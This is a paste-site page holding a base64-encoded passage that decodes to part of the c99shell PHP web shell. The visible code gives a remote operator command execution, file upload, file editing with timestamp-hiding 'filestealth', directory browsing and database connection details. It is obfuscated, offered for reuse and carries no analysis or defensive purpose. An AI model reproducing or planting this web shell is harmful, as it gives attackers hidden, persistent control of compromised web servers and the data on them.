c3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJGRicGFzc3dkKS4iJnNxbF9wb3J0PTMzMDYmc3FsX2RiPSIuaHRtbHNwZWNpYWxjaGFycygkZGJuYW1lKS4iXCI+PGI+PHU+Q29ubmVjdCB0byBEQjwvdT48L2I+PC9hPjxicj48YnI+Ijt9CiAgICAgZWxzZSB7ZWNobyAiQnV0LCB5b3UgY2FuJ3QgY29ubmVjdCB0byBmb3J1bSBzcWwtYmFzZSwgYmVjYXVzZSBkYi1zb2Z0d2FyZT1cIiIuJGRibXMuIlwiIGlzIG5vdCBzdXBwb3J0ZWQgYnkgcmVkaGF0LiBQbGVhc2UsIHJlcG9ydCB1cyBmb3IgZml4LiI7fQogICAgIGVjaG8gIlBhcmFtZXRlcnMgZm9yIG1hbnVhbCBjb25uZWN0Ojxicj4iOwogICAgICRjZmd2YXJzID0gYXJyYXkoImRibXMiPT4kZGJtcywiZGJob3N0Ij0+JGRiaG9zdCwiZGJuYW1lIj0+JGRibmFtZSwiZGJ1c2VyIj0+JGRidXNlciwiZGJwYXNzd2QiPT4kZGJwYXNzd2QpOwogICAgIGZvcmVhY2ggKCRjZmd2YXJzIGFzICRrPT4kdikge2VjaG8gaHRtbHNwZWNpYWxjaGFycygkaykuIj0nIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iJzxicj4iO30KICAgICBlY2hvICI8L2I+PGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOwogICAgfQogICB9CiAgIGVjaG8gIjxkaXYgc3R5bGU9XCJib3JkZXIgOiAwcHggc29saWQgI0ZGRkZGRjsgcGFkZGluZzogMWVtOyBtYXJnaW4tdG9wOiAxZW07IG1hcmdpbi1ib3R0b206IDFlbTsgbWFyZ2luLXJpZ2h0OiAxZW07IG1hcmdpbi1sZWZ0OiAxZW07IGJhY2tncm91bmQtY29sb3I6ICIuJGhpZ2hsaWdodF9iYWNrZ3JvdW5kIC4iO1wiPiI7CiAgIGlmICghZW1wdHkoJHdoaXRlKSkge0BvYl9jbGVhbigpO30KICAgaGlnaGxpZ2h0X2ZpbGUoJGQuJGYpOwogICBpZiAoIWVtcHR5KCR3aGl0ZSkpIHtjOTlzaGV4aXQoKTt9CiAgIGVjaG8gIjwvZGl2PiI7CiAgfQogIGVsc2VpZiAoJGZ0ID09ICJkb3dubG9hZCIpCiAgewogICBAb2JfY2xlYW4oKTsKICAgaGVhZGVyKCJDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOwogICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLmZpbGVzaXplKCRkLiRmKSk7CiAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLiRmLiJcIjsiKTsKICAgZWNobyAkcjsKICAgZXhpdDsKICB9CiAgZWxzZWlmICgkZnQgPT0gIm5vdGVwYWQiKQogIHsKICAgQG9iX2NsZWFuKCk7CiAgIGhlYWRlcigiQ29udGVudC10eXBlOiB0ZXh0L3BsYWluIik7CiAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLiRmLiIudHh0XCI7Iik7CiAgIGVjaG8oJHIpOwogICBleGl0OwogIH0KICBlbHNlaWYgKCRmdCA9PSAiaW1nIikKICB7CiAgICRpbmYgPSBnZXRpbWFnZXNpemUoJGQuJGYpOwogICBpZiAoISR3aGl0ZSkKICAgewogICAgaWYgKGVtcHR5KCRpbWdzaXplKSkgeyRpbWdzaXplID0gMjA7fQogICAgJHdpZHRoID0gJGluZlswXS8xMDAqJGltZ3NpemU7CiAgICAkaGVpZ2h0ID0gJGluZlsxXS8xMDAqJGltZ3NpemU7CiAgICBlY2hvICI8Y2VudGVyPjxiPlNpemU6PC9iPiZuYnNwOyI7CiAgICAkc2l6ZXMgPSBhcnJheSgiMTAwIiwiNTAiLCIyMCIpOwogICAgZm9yZWFjaCAoJHNpemVzIGFzICR2KQogICAgewogICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWltZyZkPSIudXJsZW5jb2RlKCRkKS4iJmltZ3NpemU9Ii4kdi4iXCI+IjsKICAgICBpZiAoJGltZ3NpemUgIT0gJHYgKSB7ZWNobyAkdjt9CiAgICAgZWxzZSB7ZWNobyAiPHU+Ii4kdi4iPC91PiI7fQogICAgIGVjaG8gIjwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOwogICAgfQogICAgZWNobyAiPGJyPjxicj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW1nJndoaXRlPTEmZD0iLnVybGVuY29kZSgkZCkuIlwiIHdpZHRoPVwiIi4kd2lkdGguIlwiIGhlaWdodD1cIiIuJGhlaWdodC4iXCIgYm9yZGVyPVwiMVwiPjwvY2VudGVyPiI7CiAgIH0KICAgZWxzZQogICB7CiAgICBAb2JfY2xlYW4oKTsKICAgICRleHQgPSBleHBsb2RlKCRmLCIuIik7CiAgICAkZXh0ID0gJGV4dFtjb3VudCgkZXh0KS0xXTsKICAgIGhlYWRlcigiQ29udGVudC10eXBlOiAiLiRpbmZbIm1pbWUiXSk7CiAgICByZWFkZmlsZSgkZC4kZik7CiAgICBleGl0OwogICB9CiAgfQogIGVsc2VpZiAoJGZ0ID09ICJlZGl0IikKICB7CiAgIGlmICghZW1wdHkoJHN1Ym1pdCkpCiAgIHsKICAgIGlmICgkZmlsZXN0ZWFsdGgpIHskc3RhdCA9IHN0YXQoJGQuJGYpO30KICAgICRmcCA9IGZvcGVuKCRkLiRmLCJ3Iik7CiAgICBpZiAoISRmcCkge2VjaG8gIjxiPkNhbid0IHdyaXRlIHRvIGZpbGUhPC9iPiI7fQogICAgZWxzZQogICAgewogICAgIGVjaG8gIjxiPlNhdmVkITwvYj4iOwogICAgIGZ3cml0ZSgkZnAsJGVkaXRfdGV4dCk7CiAgICAgZmNsb3NlKCRmcCk7CiAgICAgaWYgKCRmaWxlc3RlYWx0aCkge3RvdWNoKCRkLiRmLCRzdGF0WzldLCRzdGF0WzhdKTt9CiAgICAgJHIgPSAkZWRpdF90ZXh0OwogICAgfQogICB9CiAgICRyb3dzID0gY291bnQoZXhwbG9kZSgiXHJcbiIsJHIpKTsKICAgaWYgKCRyb3dzIDwgMTApIHskcm93cyA9IDEwO30KICAgaWYgKCRyb3dzID4gMzApIHskcm93cyA9IDMwO30KICAgZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1lZGl0JmQ9Ii51cmxlbmNvZGUoJGQpLiJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCJTYXZlXCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJyZXNldFwiIHZhbHVlPVwiUmVzZXRcIj4mbmJzcDs8aW5wdXQgdHlwZT1cImJ1dHRvblwiIG9uY2xpY2s9XCJsb2NhdGlvbi5ocmVmPSciLmFkZHNsYXNoZXMoJHN1cmwuImFjdD1scyZkPSIuc3Vic3RyKCRkLDAsLTEpKS4iJztcIiB2YWx1ZT1cIkJhY2tcIj48YnI+PHRleHRhcmVhIG5hbWU9XCJlZGl0X3RleHRcIiBjb2xzPVwiMTIyXCIgcm93cz1cIiIuJHJvd3MuIlwiPiIuaHRtbHNwZWNpYWxjaGFycygkcikuIjwvdGV4dGFyZWE+PC9mb3JtPiI7CiAgfQogIGVsc2VpZiAoIWVtcHR5KCRmdCkpIHtlY2hvICI8Y2VudGVyPjxiPk1hbnVhbGx5IHNlbGVjdGVkIHR5cGUgaXMgaW5jb3JyZWN0LiBJZiB5b3UgdGhpbmssIGl0IGlzIG1pc3Rha2UsIHBsZWFzZSBzZW5kIHVzIHVybCBhbmQgZHVtcCBvZiBcJEdMT0JBTFMuPC9iPjwvY2VudGVyPiI7fQogIGVsc2Uge2VjaG8gIjxjZW50ZXI+PGI+VW5rbm93biBleHRlbnNpb24gKCIuJGV4dC4iKSwgcGxlYXNlLCBzZWxlY3QgdHlwZSBtYW51YWxseS48L2I+PC9jZW50ZXI+Ijt9CiB9Cn0KfQplbHNlCnsKIEBvYl9jbGVhbigpOwogJGltZ2VxdWFscyA9IGFycmF5KAogICJleHRfdGFyIj0+YXJyYXkoImV4dF90YXIiLCJleHRfcjAwIiwiZXh0X2FjZSIsImV4dF9hcmoiLCJleHRfYnoiLCJleHRfYnoyIiwiZXh0X3RieiIsImV4dF90YnoyIiwiZXh0X3RneiIsImV4dF91dSIsImV4dF94eGUiLCJleHRfemlwIiwiZXh0X2NhYiIsImV4dF9neiIsImV4dF9pc28iLCJleHRfbGhhIiwiZXh0X2x6aCIsImV4dF9wYmsiLCJleHRfcmFyIiwiZXh0X3V1ZiIpLAogICJleHRfcGhwIj0+YXJyYXkoImV4dF9waHAiLCJleHRfcGhwMyIsImV4dF9waHA0IiwiZXh0X3BocDUiLCJleHRfcGh0bWwiLCJleHRfc2h0bWwiLCJleHRfaHRtIiksCiAgImV4dF9qcGciPT5hcnJheSgiZXh0X2pwZyIsImV4dF9naWYiLCJleHRfcG5nIiwiZXh0X2pwZWciLCJleHRfamZpZiIsImV4dF9qcGUiLCJleHRfYm1wIiwiZXh0X2ljbyIsImV4dF90aWYiLCJ0aWZmIiksCiAgImV4dF9odG1sIj0+YXJyYXkoImV4dF9odG1sIiwiZXh0X2h0bSIpLAogICJleHRfYXZpIj0+YXJyYXkoImV4dF9hdmkiLCJleHRfbW92IiwiZXh0X212aSIsImV4dF9tcGciLCJleHRfbXBlZyIsImV4dF93bXYiLCJleHRfcm0iKSwKICAiZXh0X2xuayI9PmFycmF5KCJleHRfbG5rIiwiZXh0X3VybCIpLAogICJleHRfaW5pIj0+YXJyYXkoImV4dF9pbmkiLCJleHRfY3NzIiwiZXh0X2luZiIpLAogICJleHRfZG9jIj0+YXJyYXkoImV4dF9kb2MiLCJleHRfZG90IiksCiAgImV4dF9qcyI9PmFycmF5KCJleHRfanMiLCJleHRfdmJzIiksCiAgImV4dF9jbWQiPT5hcnJheSgiZXh0X2NtZCIsImV4dF9iYXQiLCJleHRfcGlmIiksCiAgImV4dF93cmkiPT5hcnJheSgiZXh0X3dyaSIsImV4dF9ydGYiKSwKICAiZXh0X3N3ZiI9PmFycmF5KCJleHRfc3dmIiwiZXh0X2ZsYSIpLAogICJleHRfbXAzIj0+YXJyYXkoImV4dF9tcDMiLCJleHRfYXUiLCJleHRfbWlkaSIsImV4dF9taWQiKSwKICAiZXh0X2h0YWNjZXNzIj0+YXJyYXkoImV4dF9odGFjY2VzcyIsImV4dF9odHBhc3N3ZCIsImV4dF9odCIsImV4dF9odGEiLCJleHRfc28iKQogKTsKIGlmICghJGdldGFsbCkKIHsKICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogaW1hZ2UvZ2lmIik7CiAgaGVhZGVyKCJDYWNoZS1jb250cm9sOiBwdWJsaWMiKTsKICBoZWFkZXIoIkV4cGlyZXM6ICIuZGF0ZSgiciIsbWt0aW1lKDAsMCwwLDEsMSwyMDMwKSkpOwogIGhlYWRlcigiQ2FjaGUtY29udHJvbDogbWF4LWFnZT0iLig2MCo2MCoyNCo3KSk7CiAgaGVhZGVyKCJMYXN0LU1vZGlmaWVkOiAiLmRhdGUoInIiLGZpbGVtdGltZShfX0ZJTEVfXykpKTsKICBmb3JlYWNoKCRpbWdlcXVhbHMgYXMgJGs9PiR2KSB7aWYgKGluX2FycmF5KCRpbWcsJHYpKSB7JGltZyA9ICRrOyBicmVhazt9fQogIGlmIChlbXB0eSgkaW1hZ2VzWyRpbWddKSkgeyRpbWcgPSAic21hbGxfdW5rIjt9CiAgaWYgKGluX2FycmF5KCRpbWcsJGV4dF90YXIpKSB7JGltZyA9ICJleHRfdGFyIjt9CiAgZWNobyBiYXNlNjRfZGVjb2RlKCRpbWFnZXNbJGltZ10pOwogfQogZWxzZQogewogIGZvcmVhY2goJGltZ2VxdWFscyBhcyAkYT0+JGIpIHtmb3JlYWNoICgkYiBhcyAkZCkge2lmICgkYSAhPSAkZCkge2lmICghZW1wdHkoJGltYWdlc1skZF0pKSB7ZWNobygiV2FybmluZyEgUmVtb3ZlIFwkaW1hZ2VzWyIuJGQuIl08YnI+Iik7fX19fQogIG5hdHNvcnQoJGltYWdlcyk7CiAgJGsgPSBhcnJheV9rZXlzKCRpbWFnZXMpOwogIGVjaG8gICI8Y2VudGVyPiI7CiAgZm9yZWFjaCAoJGsgYXMgJHUpIHtlY2hvICR1LiI6PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz0iLiR1LiJcIiBib3JkZXI9XCIxXCI+PGJyPiI7fQogIGVjaG8gIjwvY2VudGVyPiI7CiB9CiBleGl0Owp9CmlmICgkYWN0ID09ICJhYm91dCIpIHtlY2hvICI8Y2VudGVyPjxiPkNyZWRpdHM6PGJyPklkZWEsIGxlYWRpbmcgYW5kIGNvZGluZyBieSB0cmlzdHJhbVtDQ1RlYU1dLjxicj5CZXRhLXRlc3RpbmcgYW5kIHNvbWUgdGlwcyAtIE51a0xlb04gW0FuVGlTaEBSZSB0RWFNXS48YnI+VGhhbmtzIGFsbCB3aG8gcmVwb3J0IGJ1Z3MuPGJyPkFsbCBidWdzIHNlbmQgdG8gdHJpc3RyYW0ncyBJQ1EgIzY1NjU1NSA8YSBocmVmPVwiaHR0cDovL3d3cC5pY3EuY29tL3NjcmlwdHMvY29udGFjdC5kbGw/bXNndG89NjU2NTU1XCI+aWNxPC9hPi48L2I+Ijt9Cj8+CjwvdGQ+PC90cj48L3RhYmxlPjxhIGJvb2ttYXJrPSJtaW5pcGFuZWwiPjxicj48VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSBoZWlnaHQ9IjEiIHdpZHRoPSIxMDAlIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPgo8dHI+PHRkIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIiBjb2xzcGFuPSIyIj48cCBhbGlnbj0iY2VudGVyIj48Yj46OiA8YSBocmVmPSI8P3BocCBlY2hvICRzdXJsOyA/PmFjdD1jbWQmZD08P3BocCBlY2hvIHVybGVuY29kZSgkZCk7ID8+Ij48Yj5Db21tYW5kIGV4ZWN1dGU8L2I+PC9hPiA6OjwvYj48L3A+PC90ZD48L3RyPgo8dHI+PHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PGI+RW50ZXI6IDwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9ImNtZCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjbWQiIHNpemU9IjUwIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRjbWQpOyA/PiI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImNtZF90eHQiIHZhbHVlPSIxIj4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9IkV4ZWN1dGUiPjwvZm9ybT48L3RkPjx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48Y2VudGVyPjxiPlNlbGVjdDogPC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz5hY3Q9Y21kIiBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0iY21kIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PHNlbGVjdCBuYW1lPSJjbWQiPjw/cGhwIGZvcmVhY2ggKCRjbWRhbGlhc2VzIGFzICRhbHMpIHtlY2hvICI8b3B0aW9uIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRhbHNbMV0pLiJcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJGFsc1swXSkuIjwvb3B0aW9uPiI7fSA/Pjwvc2VsZWN0PjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJjbWRfdHh0IiB2YWx1ZT0iMSI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPSJFeGVjdXRlIj48L2Zvcm0+PC90ZD48L3RyPjwvVEFCTEU+Cjxicj4KPFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgaGVpZ2h0PSIxIiB3aWR0aD0iMTAwJSIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT4KPHRyPgogPHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PGI+OjogPGEgaHJlZj0iPD9waHAgZWNobyAkc3VybDsgPz5hY3Q9c2VhcmNoJmQ9PD9waHAgZWNobyB1cmxlbmNvZGUoJGQpOyA/PiI+PGI+U2VhcmNoPC9iPjwvYT4gOjo8L2I+PGZvcm0gbWV0aG9kPSJQT1NUIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9InNlYXJjaCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzZWFyY2hfbmFtZSIgc2l6ZT0iMjkiIHZhbHVlPSIoLiopIj4mbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InNlYXJjaF9uYW1lX3JlZ2V4cCIgdmFsdWU9IjEiICBjaGVja2VkPiAtIHJlZ2V4cCZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT0iU2VhcmNoIj48L2Zvcm0+PC9jZW50ZXI+PC9wPjwvdGQ+CiA8dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PGNlbnRlcj48Yj46OiA8YSBocmVmPSI8P3BocCBlY2hvICRzdXJsOyA/PmFjdD11cGxvYWQmZD08P3BocCBlY2hvICR1ZDsgPz4iPjxiPlVwbG9hZDwvYj48L2E+IDo6PC9iPjxmb3JtIG1ldGhvZD0iUE9TVCIgRU5DVFlQRT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPSJ1cGxvYWQiPjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJ1cGxvYWRmaWxlIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0ibWluaWZvcm0iIHZhbHVlPSIxIj4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9IlVwbG9hZCI+PGJyPjw/cGhwIGVjaG8gJHdkdDsgPz48L2Zvcm0+PC9jZW50ZXI+PC90ZD4KPC90cj4KPC90YWJsZT4KPGJyPjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IGhlaWdodD0iMSIgd2lkdGg9IjEwMCUiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48Y2VudGVyPjxiPjo6IE1ha2UgRGlyIDo6PC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0ibWtkaXIiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibWtkaXIiIHNpemU9IjUwIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkNyZWF0ZSI+PGJyPjw/cGhwIGVjaG8gJHdkdDsgPz48L2Zvcm0+PC9jZW50ZXI+PC90ZD48dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PGNlbnRlcj48Yj46OiBNYWtlIEZpbGUgOjo8L2I+PGZvcm0gbWV0aG9kPSJQT1NUIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9Im1rZmlsZSI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJta2ZpbGUiIHNpemU9IjUwIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZnQiIHZhbHVlPSJlZGl0Ij4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkNyZWF0ZSI+PGJyPjw/cGhwIGVjaG8gJHdkdDsgPz48L2Zvcm0+PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+Cjxicj48VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSBoZWlnaHQ9IjEiIHdpZHRoPSIxMDAlIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPjx0cj48dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PGNlbnRlcj48Yj46OiBHbyBEaXIgOjo8L2I+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPSJscyI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImQiIHNpemU9IjUwIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkdvIj48L2Zvcm0+PC9jZW50ZXI+PC90ZD48dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PGNlbnRlcj48Yj46OiBHbyBGaWxlIDo6PC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0iZ29maWxlIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImYiIHNpemU9IjUwIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkdvIj48L2Zvcm0+PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+Cjxicj48VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGhlaWdodD0xIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9MCB3aWR0aD0iMTAwJSIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkIHdpZHRoPSI5OTAiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxwIGFsaWduPSJjZW50ZXIiPjxiPi0tWyBjOTlzaGVsbCB2LiA8P3BocCBlY2hvICRzaHZlcjsgPz4gPGEgaHJlZj0iPD9waHAgZWNobyAkc3VybDsgPz5hY3Q9YWJvdXQiPjx1PjxiPnBvd2VyZWQgYnk8L2I+PC91PjwvYT4gQ2FwdGFpbiBDcnVuY2ggU2VjdXJpdHkgVGVhbSB8IDxhIGhyZWY9Imh0dHA6Ly9jY3RlYW0ucnUiPjxmb250IGNvbG9yPSIjRkYwMDAwIj5odHRwOi8vY2N0ZWFtLnJ1PC9mb250PjwvYT48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+PC9mb250PiB8IEdlbmVyYXRpb24gdGltZTogPD9waHAgZWNobyByb3VuZChnZXRtaWNyb3RpbWUoKS1zdGFydHRpbWUsNCk7ID8+IF0tLTwvYj48L3A+PC90ZD48L3RyPjwvdGFibGU+CjwvYm9keT48L2h0bWw+PD9waHAgY2hkaXIoJGxhc3RkaXIpOyBjOTlzaGV4aXQoKTs='));
- ?>
Advertisement
Add Comment
Please, Sign In to add comment